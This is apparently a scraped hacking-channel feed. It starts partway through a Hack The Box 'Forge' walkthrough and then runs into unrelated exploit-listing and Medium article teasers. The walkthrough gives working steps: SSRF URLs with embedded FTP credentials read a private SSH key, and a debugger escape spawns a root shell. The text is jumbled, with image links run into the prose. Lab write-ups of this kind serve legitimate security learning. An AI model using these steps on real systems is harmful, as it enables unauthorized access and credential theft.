I could see the website trying to fetch shell.php. There were a few notable things here:ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1Important things inferred from this result were:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000 Now, if I can access user.txt, I might also be able to access private SSH key. I did that using this payload:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000 Saving that key in my local system we can log into the victim box.nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htbhttps://blogger.googleusercontent.com/img/a/AVvXsEjvdvZ5paNGafZQmmdSq1Fg4z3oxj1LycRY8W5AHZWxnR_mhH_64gnjdqe0OanEiDQg4y_xFCQ8Q8FCHtjT3-mBScc5Tw7ldot7kXRp9nP2LagaBFX39kHYjrFj_LEd6WqBvdIRjarAmlc_gCfN8XznQHW9_mW1WuAC-IMl60DWA1YaVvAd-2mJFL7[...]

___________________________
@hacking_Attack
@Hacking_Video

aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpasswordsudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465https://blogger.googleusercontent.com/img/a/AVvXsEjGK3j2S_Y1wcJLwudp97Blj2pdt5zjVI6A0uZ1CPiVaJEwQTeRLMqTkZxZHsEh7nBIXcIn0rOxkvOpHb7Yju0KcA8T05UJeyOhc3V0u9W59wu5-nK_Dl89XicaILBWcl4LxUTfADFk01xjDZ16H38i7qYnarhoE4WhXk9KOKeRWC0RFrpScb6lVqR47A=s16000 Now, I am effectively communicating with a python script which is run as root. You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.import os;os.system(“/bin/sh”)
id
cat /root/root.txthttps://blogger.googleusercontent.com/img/a/AVvXsEiPLup_PCT5S3kW4J1Uv6bZE2qHLQnw6t4U9z4AKP9Mx3crTlO7WmrcWZEG20xf6gnazI1DkkJI93nuUXqxtEzPhLiVnyMWytbyaokINQALUAmLugtdKX_xzdRugbTx53WKmz2Qpm7NIrL7Y3MIL_hZulk5ADdC_WWk9dfGCIgfdByfbgEgDbwFztZH3Q=s16000 ConclusionThe box covers a few tricks that makes one scratch their brain, however, it doesn’t have any rabbit holes or advanced techniques used to exploit. We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XNU Kernel mach_msg Use-After-Free

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
The XNU kernel suffers from a use-after-free vulnerability in mach_msg.

MD5 | eb1b8067af59bf13ac79b38151184bb3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
UniFi Network Application Unauthenticated Log4Shell Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Valentine

https://cdn-images-1.medium.com/max/600/1*T3_oV-7avfKcloyccg9NQA.png
This Box requires exploiting a memory corruption bug to gather information that can be used in the further movement to get the initial…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I got access to 25+ Tesla’s around the world. By accident. And curiosity.

https://cdn-images-1.medium.com/max/734/1*YnNzN5XfpxRcaQ3XqETQcA.png
How the heck did a 19 year old from Germany manage to be able to take over more than 25 Tesla’s around the world?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
স্ক্রিপ্টিং ল্যাংগুয়েজ (Scripting language) কী? কীভাবে শিখবো ?

https://cdn-images-1.medium.com/max/678/1*_7j0czePQ9ZPBKhdH01FNw.jpeg
সমস্ত স্ক্রিপ্টিং ল্যাংগুয়েজ ই প্রোগ্রামিং ল্যাংগুয়েজ তবে সমস্ত প্রোগ্রামিং ল্যাংগুয়েজ ই স্ক্রিপ্টিং ল্যাংগুয়েজ নয়।

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is ARP and How does it work?

https://cdn-images-1.medium.com/max/600/1*bCg6SDkK_FGGQEM3Uhwjeg.png
ARP

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CISA agrega 17 vulnerabilidades a la lista de errores explotados en los ataques

https://cdn-images-1.medium.com/max/1527/0*JiruDd7Q6HPIynXD
PUBLICADO EN 24 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Registrations Open for IWCON 2022 — the Online Infosec Conference & Networking Event

https://cdn-images-1.medium.com/max/1619/1*e4BHh8BxHaRDKSakPd6gnw.png
Listen to 15+ awesome speakers and meet some of the coolest peeps in Infosec!

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TAXONOMY OF DDOS ATTACKS AND TOOLS

https://cdn-images-1.medium.com/max/2600/1*A7WsbAHYdnfY-4OrKEKVYw.jpeg
Hey amazing hackers,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video